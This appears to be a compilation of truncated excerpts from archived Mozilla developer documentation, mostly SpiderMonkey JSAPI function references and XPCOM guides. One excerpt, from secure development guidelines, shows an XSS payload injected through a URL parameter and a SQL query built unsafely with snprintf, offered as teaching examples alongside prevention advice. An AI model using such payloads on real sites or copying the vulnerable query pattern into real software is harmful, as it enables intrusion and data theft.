... parent object for this function. If this is NULL, a default parent object is used. Obsolete since JSAPI 39 name const char * Name to assign to the new function. If this is NULL, the new function has no name. id JS::Handle<jsid> A pointer to jsid of the name to assign to the new function. Added in SpiderMonkey 17 Description JS_NewFunction creates a new
JavaScript function implemented in C/C++. (To create a new function implemented in
JavaScript, use JS_CompileFunction instead.) call is a C/C++ function pointer that the new function wraps. nargs is the number of arguments the function expects. If flags is JSFUN_CONSTRUCTOR, a created function can be called as a constructor. parent may be used to specify the new function's parent; NULL is usually the right...
JS_NewRuntime
Syntax JSRuntime * JS_NewRuntime(uint32_t maxbytes, uint32_t maxNurseryBytes = JS::DefaultNurseryBytes, JSRuntime *parentRuntime = nullptr); JSRuntime * JS_NewRuntime(uint32_t maxbytes, JSUseHelperThreads useHelperThreads, JSRuntime *parentRuntime = nullptr); // Deprecated since JSAPI 32 Name Type Description maxbytes uint32 Maximum number of allocated bytes after which garbage collection is run. maxNurseryBytes uint32 Nursery size in bytes. maxNurseryBytes is rounded down to a multiple of chunk size. Added in SpiderMonkey 38 parentRuntime JSRuntime * The topmost parent or nullptr . ...
... maxbytes uint32 Maximum number of allocated bytes after which garbage collection is run. maxNurseryBytes uint32 Nursery size in bytes. maxNurseryBytes is rounded down to a multiple of chunk size. Added in SpiderMonkey 38 parentRuntime JSRuntime * The topmost parent or nullptr . Added in SpiderMonkey 31 Description JS_NewRuntime initializes the
JavaScript runtime environment. Call JS_NewRuntime before making any other API calls except JS_Init. JS_NewRuntime allocates memory for the JSRuntime and initializes certain internal runtime structures. maxbytes specifies the number of allocated bytes after which garbage collection is run. If parentRuntime is specified, the resulting runtime shares significant amounts of read-only state (the self-hosting an...
JS_NewScriptObject
The compiled script and its parts live until the script object is garbage collected. Syntax JSObject * JS_NewScriptObject(JSContext *cx, JSScript *script); Name Type Description cx JSContext * The context in which to create the new script object. Requires request. ...
...e protected from garbage collection; when the script object is collected, the JSScript and its contents are freed. Once you have created a script, you should immediately ensure that its script object is reachable (perhaps by using JS_AddRoot or JS_EnterLocalRootScope). A script object has no properties, and its prototype is Object.prototype. So a script object can be used to expose a JSScript to
JavaScript code, but the code can't do much of anything with it. On success, JS_NewScriptObject returns a pointer to the script's object. Otherwise it returns NULL. (The name "JS_NewScriptObject" suggests that the script object is freshly allocated; this was the case in older versions of the API, but now the script object is allocated along with the JSScript itself.) (Some temporary scripts used internal...
JS_NewUCString
th); // Obsolete since JSAPI 1.8.5 Name Type Description cx JSContext * The context in which to create the new string. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. buf char * or char16_t * Pointer to a character array, allocated with JS_malloc, containing the characters for the JS string to create. The
JavaScript engine adopts the buffer. length size_t Number of characters in the text string. Description JS_NewString creates and returns a new string, using the memory starting at buf and ending at buf + length as the character storage. JS_NewUCString is the Unicode version of the function. The character array, buf, must be allocated on the heap using JS_malloc. On success, the JavaScri...
...On success, JS_NewString and JS_NewUCString return a pointer to the new string. ...
JS_NewStringCopyN
h to derive runtime information. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. s const char* or const char16_t * Pointer to the array of characters containing the text for the JS string to create. n size_t Number of characters to copy from s into the new string. Description JS_NewStringCopyN allocates space for a
JavaScript string and its underlying storage, and copies n characters from a C character array, s, into the new JSString. JS_NewUCStringCopyN is the Unicode version of the function. The two functions differ only in the type of the character array s; both functions create ordinary
JavaScript strings, and all
JavaScript strings are made up of 16-bit characters. If the array s contains more than n characters, ...
...On success, JS_NewStringCopyN and JS_NewUCStringCopyN return a pointer to the new JS string. Otherwise they return NULL. ...
JS_NewStringCopyZ
Create a new
JavaScript string based on a null-terminated C string. Syntax JSString * JS_NewStringCopyZ(JSContext *cx, const char *s); JSString * JS_NewUCStringCopyZ(JSContext *cx, const char16_t *s); Name Type Description cx JSContext * Pointer to a JS context from which to derive runtime information. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. s const char * or const char16_t * Pointer to the character array containing the text for the JS string to create; or NULL. Description JS_NewStringCopyZ allocates space for a new
JavaScript string and its underlying storage, and then copies the contents of a null-terminated character array, s, into the new string. On success, JS_NewStringCopyZ returns ...
...t. s const char * or const char16_t * Pointer to the character array containing the text for the JS string to create; or NULL. Description JS_NewStringCopyZ allocates space for a new
JavaScript string and its underlying storage, and then copies the contents of a null-terminated character array, s, into the new string. On success, JS_NewStringCopyZ returns a pointer to the new
JavaScript string. On error, it returns NULL. If s is NULL, an empty
JavaScript string is returned. JS_NewStringCopy(cx, s) is equivalent to JS_NewStringCopyN(cx, s, strlen(s)) when s is a null-terminated string. See Also MXR ID Search for JS_NewStringCopyZ MXR ID Search for JS_NewUCStringCopyZ JS_GetEmptyStringValue JS_NewStringCopyN JS_NewUCStringCopyN JS_ValueToString ...
JS_PSGS
and JS_InitClass. Syntax #define JS_PSG(name, getter, flags) ... #define JS_PSGS(name, getter, setter, flags) ... #define JS_SELF_HOSTED_GET(name, getterName, flags) ... // Added in SpiderMonkey 31 #define JS_SELF_HOSTED_GETSET(name, getterName, setterName, flags) ... // Added in SpiderMonkey 31 #define JS_PS_END ... Name Type Description name const char * The
JavaScript name for the property. (or index, if JSPROP_INDEX is present in flags) getter JSNative Pointer to the C/C++ implementation of the getter function. setter JSNative Pointer to the C/C++ implementation of the setter function. flags uint16 The bitwise OR of any number of property attributes. getterName const char * The function's name in Sel...
... the property. (or index, if JSPROP_INDEX is present in flags) getter JSNative Pointer to the C/C++ implementation of the getter function. setter JSNative Pointer to the C/C++ implementation of the setter function. flags uint16 The bitwise OR of any number of property attributes. getterName const char * The function's name in Self-Hosted
JavaScript code for getter function. setterName const char * The function's name in Self-Hosted
JavaScript code for setter function. Description These macros encapsulate the definition of JSNative-backed JSPropertySpecs, by defining the JSNativeWrappers for them. See Also MXR ID Search for JS_PSG MXR ID Search for JS_PSGS MXR ID Search for JS_SELF_HOSTED_GET MXR ID Search for J...
JS_ReportError
Syntax void JS_ReportError(JSContext *cx, const char *format, ...); bool JS_ReportWarning(JSContext *cx, const char *format, ...); Name Type Description cx JSContext * Pointer to a JS context from which to derive runtime information. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. format const char * Format string to convert into an error message using JS_vsmprintf. ... ... ...
...insert into the format string. Description JS_ReportError is the simplest JSAPI function for reporting errors. First it builds an error message from the given sprintf-style format string and any additional arguments passed after it. The resulting error message is passed to the context's JSErrorReporter callback, if any. If the caller is in a JSAPI callback, JS_ReportError also creates a new
JavaScript Error object and sets it to be the pending exception on cx. The callback must then return JS_FALSE to cause the exception to be propagated to the calling script. An example is shown in the JSAPI Phrasebook. For internationalization, use JS_ReportErrorNumber instead. To report an out-of-memory error, use JS_ReportOutOfMemory. See Also MXR ID Search for JS_ReportError MXR ID Search for JS_Report...
JS_ReportErrorNumber
Name Type Description cx JSContext * The context in which to report the error. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. flags unsigned Error report flags. errorCallback JSErrorCallback Callback to fetch the error message. userRef void * A pointer to application data. The
JavaScript engine passes this pointer to errorCallback. The meaning of the data is up to the application. errorNumber const unsigned An error code. The
JavaScript engine passes this number to errorCallback. The meaning of the error number is up to the application. ... / args ... / const char16_t ** Additional arguments for the error message. These arguments must be of type...
... errorCallback(userRef, errorNumber) is called. If errorCallback returns NULL, (??? what happens?). Otherwise, if the JSErrorFormatString returned by the JSErrorCallback has .exnType == JSEXN_NONE, then the error reporter, if any, is called, and no Error object is created. (??? The source code seems to say we ignore the .exnType, actually, but surely I'm just missing something.) Otherwise, if any
JavaScript code is running in cx (for example, if the caller is a JSNative that was called from a script), then an Error object is created and becomes the pending exception. The error reporter is not called yet, because the script still has an opportunity to catch and handle the exception. Otherwise, no
JavaScript code is running in cx. If the JSOPTION_DONT_REPORT_UNCAUGHT option is set, (??? what happens?)...
JS_ReportOutOfMemory
rts a memory allocation error. Syntax void JS_ReportOutOfMemory(JSContext *cx); void JS_ReportAllocationOverflow(JSContext *cx); // Added in SpiderMonkey 1.8 Name Type Description cx JSContext * The context in which to report the error. Description Call JS_ReportOutOfMemory to report that an operation failed because the system is out of memory. When the
JavaScript engine tries to allocate memory and allocation fails, it reports an error as though by calling this function. Call JS_ReportAllocationOverflow if an operation fails because it tries to use more memory (or more of some other resource) than the application is designed to handle. When a script tries to grow an array beyond 230-1 elements, for example, or concatenate strings such that the result is ...
...allocation fails, it reports an error as though by calling this function. Call JS_ReportAllocationOverflow if an operation fails because it tries to use more memory (or more of some other resource) than the application is designed to handle. When a script tries to grow an array beyond 230-1 elements, for example, or concatenate strings such that the result is more than 229-1 characters long, the
JavaScript engine reports an error as though by calling this function. See JS_ReportError and JS_SetErrorReporter for more information about error handling in the JSAPI. See Also MXR ID Search for JS_ReportOutOfMemory MXR ID Search for JS_ReportAllocationOverflow bug 422348 ...
JS_SetGCCallback
er listed. Sometimes JSGC_BEGIN happens and the rest of garbage collection does not happen, so the other three callbacks are not called. Sometimes several GC cycles happen in a row, so JSGC_BEGIN is followed by alternating JSGC_MARK_END and JSGC_FINALIZE_END callbacks, followed at last by JSGC_END. ...
...d. Sometimes several GC cycles happen in a row, so JSGC_BEGIN is followed by alternating JSGC_MARK_END and JSGC_FINALIZE_END callbacks, followed at last by JSGC_END. The JSGC_BEGIN callback can occur very early when something triggers garbage collection--before the
JavaScript engine has even determined whether GC should actually be done at the moment. Some quirky behavior follows from this: The
JavaScript engine can call the GC callback reentrantly on a single thread. For example, if the JSGC_MARK_END callback does something that triggers GC, a JSGC_BEGIN callback might happen. But the
JavaScript engine will then detect that GC is already happening and will not actually do a nested GC cycle in this case. In a JS_THREADSAFE build, a JSGC_BEGIN callback may happen on any thread, any time that thr...
JS_SetInterruptCallback
Syntax JSInterruptCallback JS_SetInterruptCallback(JSRuntime *rt, JSInterruptCallback callback); JSInterruptCallback JS_GetInterruptCallback(JSRuntime *rt); void JS_RequestInterruptCallback(JSRuntime *rt); Name Type Description rt JSRuntime * The runtime. callback JSInterruptCallback The callback function to install. ...
... Type Description cx JSContext * Pointer to a JSContext in which this callback was installed. The callback may use this context to call JSAPI functions, but it should first use JS_SetInterruptCallback to set the context's interrupt callback to NULL. Otherwise the engine may call the interrupt callback again, reentering it. Provides request. In JS_THREADSAFE builds, the
JavaScript engine calls this callback only from within an active request on cx. The callback does not need to call JS_BeginRequest()). Description These functions allow setting an interrupt callback that will be called from the JS thread some time after any thread triggered the callback using JS_RequestInterruptCallback. To schedule the GC and for other activities the engine internally trigger...
JS_SetProperty
cters; or -1 to indicate that name is null-terminated. v JS::HandleValue In/out parameter. *vp is the value to assign to the property. Ordinarily this function leaves v unchanged, but it is possible for a JSClass.addProperty hook or a non-default setter to assign to v. Description JS_SetProperty assigns the value v to the property name of the object obj. It behaves like the
JavaScript expression obj[name] = v. JS_SetUCProperty is the Unicode version of the function. JS_SetPropertyById is the same but takes a JS::HandleId for the property name. If obj is a Proxy, the JS_SetProperty [[Set]] internal method defined in ES2015 (rev 29 9.5.9) is performed. If obj is a native object with custom setGeneric op, the op is called with (cx, obj, id, &v, false)). Otherwise, [[Set]] inte...
...addProperty hook is called with the arguments (cx, obj, id, &v). This hook may assign to v. If the hook succeeds and the property has a stored value, then the value left in v by the addProperty hook becomes the stored value of the property. Setting the value. Two of the cases above can involve setting the value of a new or existing property of obj. This is done as follows. If the property has a
JavaScript setter, it is called; otherwise, if it has a
JavaScript getter, then an error is reported; otherwise the property's setter is called, passing the arguments (cx, obj, id, &v). If the setter succeeds and the property has a stored value, then the value left in v becomes the stored value of the property. On success, JS_SetProperty returns true, and the value in v is left unchanged unless a hook or s...
JS_SetPrototype
Syntax bool JS_SetPrototype(JSContext *cx, JS::HandleObject obj, JS::HandleObject proto); Name Type Description cx JSContext * The context in which to set the object's prototype. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. obj JS::HandleObject The object to modify. proto JS::HandleObject The object to set as the new prototype of obj. Description JS_SetPrototype sets the prototype object for a specified object. A prototype object provides properties that are shared by similar JS object instances. ...
...time, you can later call JS_SetPrototype to do so. obj is a pointer to an existing JS object, and proto is a pointer to second existing object upon which the first object is to be based. On success, JS_SetPrototype returns true. Otherwise it returns false. Take care not to create a circularly-linked list of prototypes using this function, because such a set of prototypes cannot be resolved by the
JavaScript engine and can easily lead to an infinite loop. To get an object's prototype, use JS_GetPrototype. See Also LXR ID Search JS_GetPrototype ...
JS_StrictlyEqual
Syntax // Added in SpiderMonkey 45 bool JS_StrictlyEqual(JSContext *cx, JS::Handle<JS::Value> v1, JS::Handle<JS::Value> v2, bool *equal); // Obsolete since JSAPI 39 bool JS_StrictlyEqual(JSContext *cx, jsval v1, jsval v2, bool *equal); Name Type Description cx JSContext * The context in which to perform the conversion. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. v1, v2 JS::Handle<JS::Value> / jsval The value to compare. ...
...SContext * The context in which to perform the conversion. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. v1, v2 JS::Handle<JS::Value> / jsval The value to compare. equal bool * Out parameter. Receives the comparison result. Description JS_StrictlyEqual determines if v1 is strictly equal to v2 under the
JavaScript === operator, as specified in ECMA 262-3 ?11.9.6. If the comparison attempt was successful, the method returns true and stores the result in *equal; otherwise it returns false. Comparing jsvals directly in C++, as in v1 == v2, does not produce a meaningful result, since it is possible for two distinct JSStrings or jsdoubles to represent the same string or number. See Also MXR ID Search for J...
JS_ValueToECMAInt32
Obsolete since JSAPI 28This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Convert a
JavaScript value to an integer type as specified by the ECMAScript standard. Syntax JSBool JS_ValueToECMAInt32(JSContext *cx, jsval v, int32 *ip); JSBool JS_ValueToECMAUint32(JSContext *cx, jsval v, uint32 *ip); JSBool JS_ValueToUint16(JSContext *cx, jsval v, uint16 *ip); Name Type Description cx JSContext * The context in which to perform the conversion. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. v jsval The
JavaScript value to convert. ip int32 * or uint32 * or int16 * Out parameter. On suc...
... JS_ValueToECMAInt32 implements the ToInt32 operator specified in ECMA 262-3 9.5. ...
JS_ValueToFunction
; JSFunction * JS_ValueToConstructor(JSContext *cx, JS::HandleValue v); Name Type Description cx JSContext * The context in which to perform the conversion. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. v JS::HandleValue The value to convert. Description JS_ValueToFunction converts a specified
JavaScript value, v, to a function. JS_ValueToConstructor is the exactly same function as JS_ValueToFunction. This conversion is dangerous and almost entirely useless, because the resulting JSFunction is not a real function object and therefore cannot be safely passed to any other JSAPI function. That includes JS_CallFunction() and JS_GetFunctionObject(). A JSFunction represents only the compiled code an...
.... Instead, use JSVAL_IS_OBJECT and JS_ObjectIsFunction() to check whether a value is already a function, or use JS_ConvertValue() to convert a value to JSTYPE_FUNCTION safely. If v is a Function object, this returns the associated JSFunction. If v is null, undefined, a boolean, a number, or a string, a TypeError is reported and JS_ValueToFunction returns NULL. Otherwise, v is an object. The
JavaScript engine attempts to convert it to a function. (Implementation note: The actual conversion is performed by the object itself. The object's JSObjectOps.defaultValue method is called with hint=JSTYPE_FUNCTION.) JS_ValueToFunction returns a pointer to the converted function. If conversion fails with an error or exception, JS_ValueToFunction returns NULL. See Also MXR ID Search for JS_ValueToFunc...
JS_ValueToSource
On success, JS_ValueToSource returns a pointer to a string. On error or exception, it returns NULL. This happens, for example, if v is an object and v.toSource() throws an exception. ...
...ng * JS_ValueToSource(JSContext *cx, JS::Handle<JS::Value> v); Name Type Description cx JSContext * The context in which to perform the conversion. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. v JS::Handle<JS::Value> The value to convert. Description JS_ValueToSource converts a specified
JavaScript value, v, to a
JavaScript source. On success, JS_ValueToSource returns a pointer to a string. On error or exception, it returns NULL. This happens, for example, if v is an object and v.toSource() throws an exception. See Also bug 462910 ...
SpiderMonkey 52
These release notes are incomplete. The Mozilla
JavaScript team is pleased to announce the release of SpiderMonkey 52. You can download full source code from treeherder, by going to the mozilla-esr52 repository and clicking on the first SM(pkg) link you see. That will open a small window in the bottom left with a line like "artifact uploaded:mozjs-52.x.y.tar.bz2". SpiderMonkey 52 is the
JavaScript engine that shipped in Firefox 52. It continues to improve performance over previous SpiderMonkey releases. It also contains new language and API features described in detail below. Please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup. Or file bugs at bugzilla.mozilla.org under Product: Core, Component:
JavaScript engine. You may wish to ma...
...ntains new language and API features described in detail below. Please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup. ...
Split object
n that tab. To the script in page A, the window must appear to be a single object that moves from page to page. But each web page must load with fresh globals. (The problem is even a bit subtler than this, since the reference may be direct or indirect. The script in A might have opened TB by calling window.open, which returns a direct reference to TB's window. More indirectly, suppose there's a
JavaScript function defined in page B that refers to global variables in page B. If page A gets a reference to that function, then by calling it, it is indirectly accessing tab TB's window. The Function object carries a reference to the window, via the scope chain. To further complicate matters, A and B are in the same security domain, so security checks between them automatically succeed. This makes the pr...
... checks between them automatically succeed. This makes the problem resistant to a wrapper-based approach.) Older versions of Firefox accomplished this by blowing away all window properties every time a user navigated to another page, then reusing the window. Each page, even on Back, had to load from scratch. This was slow. Circa Firefox 1.5, the decision was made to cache layout information and
JavaScript state across navigation. A new approach for window was needed. Security privileges are granted to JS code on the basis of the scope chain of the executing code. SpiderMonkey walks up the scope chain to the nearest object that has JSPrincipals attached. The end of the scope chain is the global object for the script. But what JSPrincipals should be attached to a window object? The principal...
TPS Tests
S is an end to end test for Sync. It's name stands for Testing and Profiling tool for Sync (which is a misnomer, since it doesn't do any profiling), and it should not be confused with the similarly named tests in Talos. TPS consists of a Firefox extension of the same name, along with a python test runner, both of which live inside mozilla-central. The python test runner will read a test file (in
JavaScript format), setup one or more Firefox profiles with the necessary extensions and preferences, then launch Firefox and pass the test file to the extension. The extension will read the test file and perform a series of actions specified therein, such as populating a set of bookmarks, syncing to the Sync server, making bookmark modifications, etc. A test file may contain an arbitrary number of section...
... have them). Phase implementation (mandatory) It's worth noting that some parts of TPS assume that it can read the number off the end of the phase or profile to get to the next one, so try to stick to the convention established in the other tests. Yes, this is cludgey, but it's effective enough and nobody has changed it. Phase Declarations These map the phases to profiles. Both python and
JavaScript read them in. They must look like: var phases = { "phase1": "profile1", "phase2": "profile2", "phase3": "profile1" }; Between { and } it must be strict JSON. e.g. quoted keys, no trailing parentheses, etc. The python testrunner will be parsing it with an unforgiving call to json.loads, so anything other than strict JSON will fail. You can use as many profiles or phases as you need, but ever...
Secure Development Guidelines
be [a-zA-Z0-9], enforce it Cross Site Scripting (XSS) XSS is a type of code injection attack Typically occurs in web applications Injection of arbitrary data into an HTML document from another site Victim's browser executes those HTML instructions Could be used to steal user credentials Think: webmail, online auction, CMS, online banking... XSS: Example The following snippet of
JavaScript: document.write("Welcome to " + document.location); ... is exploitable (in some browsers) with a simple request such as: http://www.victim.com?something=<SCRIPT>alert('Oops')</SCRIPT> XSS: Prevention Escape all dynamic input that will be sent back to the user HTML encoding & -> & < -> < > -> > " -> " ' -> ' URL encoding % encoding ...
...-> > " -> " ' -> ' URL encoding % encoding Java/VBscript escaping Depends on the context; in a single-quoted string, escaping ' would suffice SQL Injection Occurs when un-trusted input is mixed with a SQL string SQL is a language used to interact with databases Code injection attack that is similar to XSS but targeted at SQL rather than HTML and
JavaScript If input is mixed with SQL, it could itself become an SQL instruction and be used to: Query data from the database (passwords) Insert value into the database (a user account) Change application logic based on results returned by the database SQL Injection: Example snprintf(str, sizeof(str), "SELECT * FROM account WHERE name ='%s'", name); sqlite3_exec(db, str, NULL...
Using the Places annotation service
name: This is the name of the annot...
...You can use the Annotations Service's hasAnnotation method to determine in advance if the page has the requested annotation. However, it is more efficient to just try to do the operation and catch the exception; the extra ch...
Creating a Python XPCOM component
Here is how to make the same component in Python using PyXPCOM. (Note that some details may be missing.) Preparation If a binary of PyXPCOM is not available, you will need to build it - see Building PyXPCOM. Tip: you can achieve a copy of binary of PyXPCOM from PythonExt; simply unpack xpi and take everything you need. If you wish to use PyXPCOM from a normal Python executable, you will need to tell Python where it can find the PyXPCOM library. ...
...nsISupports.idl" [scriptable, uuid(2b324e9d-a322-44a7-bd6e-0d8c83d94883)] interface nsIPySimple : nsISupports { attribute string yourName; void write( ); void change(in string aValue); }; This is the same as the nsISimple interface used here. Theoretically, because several components can share an interface, the same file could be used. Pay special attention to types here - Python and
JavaScript are both loosely-typed, so it's fairly easy to pass information from one to the other. Note: There are exceptions; see this discussion for information on the use of string and wstring for unicode transfer. See here for info on describing interfaces, and on which types can be used. Registering the interface In the "components" directory, execute : ../xpidl -m typelib -w -v -I /usr/share/idl/mozill...
XPCOM array guide
leArray Usage nsIArray is useful if you need to pass arrays of COM objects through interfaces or require a scriptable array. It can hold strong or weak references to its container objects. This basic interface only allows querying of existing elements in the array. The methods that modify the array have been broken out into nsIMutableArray. An nsIArray implementation can be created from C++ or
JavaScript using nsIComponentManager.createInstance() and the contract ID "@mozilla.org/array;1". The created array implements nsIMutableArray and nsIArray. Since nsIMutableArray derives from nsIArray, the resulting array can be cast to a read-only array. C++ Example void GetList(nsIArray** aResult) { nsCOMPtr<nsIMutableArray> array = do_CreateInstance(NS_ARRAY_CONTRACTID); // append some elements ...
...ay;1". The created array implements nsIMutableArray and nsIArray. Since nsIMutableArray derives from nsIArray, the resulting array can be cast to a read-only array. C++ Example void GetList(nsIArray** aResult) { nsCOMPtr<nsIMutableArray> array = do_CreateInstance(NS_ARRAY_CONTRACTID); // append some elements ... // return it to the caller *aResult = array; NS_ADDREF(*aResult); }
JavaScript Example function getList() { var array = Components.classes["@mozilla.org/array;1"] .createInstance(Components.interfaces.nsIMutableArray); // append some elements ... // return it to the caller return array; } Access to elements Since nsIArray is a regular XPCOM object, its interfaces follows the standard conventions of ownership. Access to specific element...
Component Internals
r if you access the nsIServiceManager at that point, for example, so you may have to keep a reference-counted pointer to the service you are interested in using during this notification. Component Loaders Components can be written in many languages. So far this book has been focusing on "native components," shared libraries exporting a NSGetModule symbol. But if there is a component loader for
Javascript installed, then you can also write a
JavaScript component. To register, unregister, load and manage various component types, XPCOM abstracts the interface between the XPCOM component and XPCOM with the Component Loader. This loader is responsible for initialization, loading, unloading, and supporting the nsIModule interface on behalf of each component. It is the Component Loader's responsibility...
...rary. Scripting languages and other "non-native" languages usually have no way to build native libraries. In order to have "non-native" XPCOM components work, XPCOM must have a special component loader which knows how to deal with these type of components. XPConnect, for example, provides a component loader that makes the various types, including the interfaces and their parameters, available to
JavaScript. Each language supported by XPCOM must have a component loader. Three parts of a XPCOM Component Library XPCOM is like an onionor a parfait! Everybody likes parfaits. XPCOM components have at least three layers. From the innermost and moving outward these layers include: The core XPCOM object The factory code The module code The core XPCOM object is the object that will implement the fun...
Preface
build a component and you will know something about the framework for these components in Gecko, which is XPCOM. Who Should Read This Book No one. It is badly out of date, and much of what it says is either no longer remotely accurate, or is severely deprecated. If you are a historian, though... Creating XPCOM Components is meant for C++ developers. Though you can create XPCOM components in
JavaScript and other languages, and though you might be able to follow along as a C programmer, the component implementation code is written in C++, and much of the discussion of how to make your codeinto an XPCOM component starts from C++. You don't need to be a C++ expert, however. Although basic ideas such as inheritance and encapsulation should be familar to you, wherever possible they are explained in ...
... along as a C programmer, the component implementation code is written in C++, and much of the discussion of how to make your codeinto an XPCOM component starts from C++. You don't need to be a C++ expert, however. Although basic ideas such as inheritance and encapsulation should be familar to you, wherever possible they are explained in the book as they are used. Also many of the examples are in
JavaScript, which is used in Mozilla to access XPCOM components as scriptable objects, and so familiarity with that language is useful as well. XPCOM stands for the Cross Platform Component Object Model. As this name implies, XPCOM is similar to Microsoft COM. If you have any experience with this technology, much of it can be applied to XPCOM. However, this book does not assume any prior knowledge of COM -...
Components.returnCode
Components.returnCode is a property which can hold an XPCOM return code additionally to the value returned by the return statement. Note that Components.returnCode is currently non-functional due to bug 287107. This problem was introduced in Mozilla 1.4. Usage Components.returnCode is a property that can be used to indicate to an XPCOM caller of the
JavaScript method that the method is returning a specific nsresult code. Generally, XPConnect does a fine job of making it unnecessary for
JavaScript code to worry about nsresult codes. By default the successful completion of the
JavaScript method will cause XPConnect to return a result code of NS_OK to the caller. If the
JavaScript code needs to signal failure then that is done by throwing an exception. However, there are a very few XPCOM interfa...
...ault the successful completion of the
JavaScript method will cause XPConnect to return a result code of NS_OK to the caller. If the
JavaScript code needs to signal failure then that is done by throwing an exception. However, there are a very few XPCOM interfaces that specify success code return values. Components.returnCode exists in order to make it possible to implement these rare interfaces in
JavaScript. Example var foo = { bar: function(i) { if (yada_yada) Components.returnCode = 5; return i * 2; } }; ...
Components.utils.evalInSandbox
Note: It's not safe to use evalInSandbox() to evaluate JSON strings; instead, use the techniques discussed in the article on JSON. You can also find Firefox 3.5 specific information in Using JSON in Firefox. Use To use evalInSandbox(), you must first create a sandbox object using its constructor, Components.utils.Sandbox. In the constructor you define the security principal for code running in the sandbox, and can make various properties available to code running in the sandbox. ...
... Denied" error Components.utils.evalInSandbox("foo.classes", mySandbox); Optional Arguments You can optionally specify the JS version, filename, and line number of the code being evaluated. For instance: var x = Components.utils.evalInSandbox( "let x = 1;", sandbox, "1.8", // "latest" is recognized as a special case "http://foo.com/mycode.js", 25 ); The above will execute code using
JavaScript 1.8. Any exceptions raised by the evaluated code will show as originating from the above URL. The evaluated code is assumed to start at line 25 of the document at that URL. ...
Components.utils.import
Gecko 2.0 adds support for loading modules from chrome: URLs, even those inside JAR archives. ...
...Gecko 2.0 adds support for loading modules from chrome: URLs, even those inside JAR archives. ...
Components.utils.unload
You should not unload modules that are part of the application (anything under resource://gre/ or resource:/// or resource://app/) as these may be in use by other extensions and the application. ...
...You should not unload modules that are part of the application (anything under resource://gre/ or resource:/// or resource://app/) as these may be in use by other extensions and the application. Only unload modules you include as part of your extension. ...
PyXPCOM
ws for communication between Python and XPCOM, such that a Python application can access XPCOM objects, and XPCOM can access any Python class that implements an XPCOM interface. PyXPCOM is actively used in ActiveState Komodo products, for example. With PyXPCOM, a developer can talk to XPCOM or embed Gecko from a Python application. PyXPCOM is similar to JavaXPCOM (Java-XPCOM bridge) or XPConnect (
JavaScript-XPCOM bridge). Mozilla defines many external interfaces available to embeddors and component developers. PyXPCOM provides access to these interfaces as Python interfaces. PyXPCOM also contains several classes that provide access to functions for initializing and shutting down XPCOM and Gecko from Python, as well as some XPCOM helper functions. Documentation Building...
...provides PyXPCOM Samples - demo applications using PyXPCOM Community Python-XPCOM bindings mailing list (ActiveState) #pyxpcom on irc.mozilla.org Source Code The PyXPCOM code is available here: http://hg.mozilla.org/pyxpcom/ To build PyXPCOM, see Building PyXPCOM. Related Topics XPCOM PyDOM: replace
JavaScript with Python Python-SpiderMonkey ...
XPCShell Reference
-f arguments, and the scripts will be executed in the order encountered. Furthermore, XPCShell looks for xpcshell.js in the current directory. If that file is found, it is executed before any other JS files specified. -g This option specifies which Gecko Runtime Environment directory (greDir) to use for XPCOM. -i This option turns on the "interactive" mode -s This option toggles the
JavaScript strict option on and off. By default it is off. -v version This allows you to specify a specific version of JS to use, and should be set to an integral value specified by the JSVersion enumerated type. For instance, specifying -v 180 will set the interpreter to use
JavaScript version 1.8. -w (lower case) This option turns on
JavaScript warnings. -W (upper case) This turns off JavaS...
...s and appending a newline at the end. An example print(1, 2, 3) Will print 1 2 3<newline>. dump(object) dump() is almost like print. It only handles one parameter and it doesn't append a newline. dumpXPC(depth) This function dumps the XPConnect object. See the documentation on debugDump() for the nsIXPConnect interface for more information. version(newVersion) version() returns the
JavaScript engine version number. If you pass a number to it, it will set the version number (and return the old version number). See the above documentation on the -v command-line argument for more information. quit(exitCode) quit() exits the shell. You can specify arguments that will get translated to an exit code. quit(5) will exit XPCShell with a result code of 5. Original Document Information ...
xpcshell
Unlike the ordinary JS shell (js), xpcshell lets the scripts running in it access XPCOM functionality. Prerequisites You need your own build of Mozilla to use xpcshell. Running xpcshell ./run-mozilla.sh ./xpcshell xpcshell is almost always in the same directory as run-mozilla.sh. $ locate run-mozilla.sh /usr/lib/firefox-0.10.1/run-mozilla.sh /usr/lib/thunderbird-0.9/run-mozilla.sh /usr/local/mozilla/run-mozilla.sh /opt/mozilla/run-mozilla.sh /root/.Trash/mozilla/run-mozilla.sh Just pick one, cd over there, and run-mozilla.sh xpcshell, if it's present. ...
...However, it might not be there if you have a non-debug version of Firefox, Mozilla, Thunderbird, etc.) $ cd /opt/mozilla $ ./run-mozilla.sh ./xpcshell js> Execute XPCShell from Window The built xpcshell.exe can't be executed under the mozilla build shell(bash). It should be executed under the window command prompt source_directory/obj-xxxxx/dist/bin> xpcshell.exe Using the Latest Version of
Javascript At present, xpcshell doesn't use the latest version of
JavaScript, so newer language features, such as the let statement introduced in
JavaScript 1.7, are not available. To rectify this, run xpcshell with the -v 180 command-line option, which tells xpcshell to use
JavaScript 1.8. Example You can input
JavaScript, straight to Mozilla. js> 5+7 12 js> print("Hello, world!") Hello, world! js> S...
IJSDebugger
js/ductwork/debugger/IJSDebugger.idlScriptable Provides the
JavaScript Debugger service. You should usually interface with this using the
JavaScript code module instead of directly. See the
JavaScript Debugger API Guide for details. 1.0 66 Introduced Gecko 9.0 Inherits from: nsISupports Last changed in Gecko 9.0 (Firefox 9.0 / Thunderbird 9.0 / SeaMonkey 2.6) Implemented by: @mozilla.org/jsdebugger;1 as a service: var jsDebugger = Components.classes["@mozilla.org/jsdebugger;1"] .createInstance(Components.interfaces.IJSDebugger); Note: You should almost never directly use this service; instead, you should use the
JavaScript code module that does this for you. The only time you should directly use this interface to create the Debugger object is if...
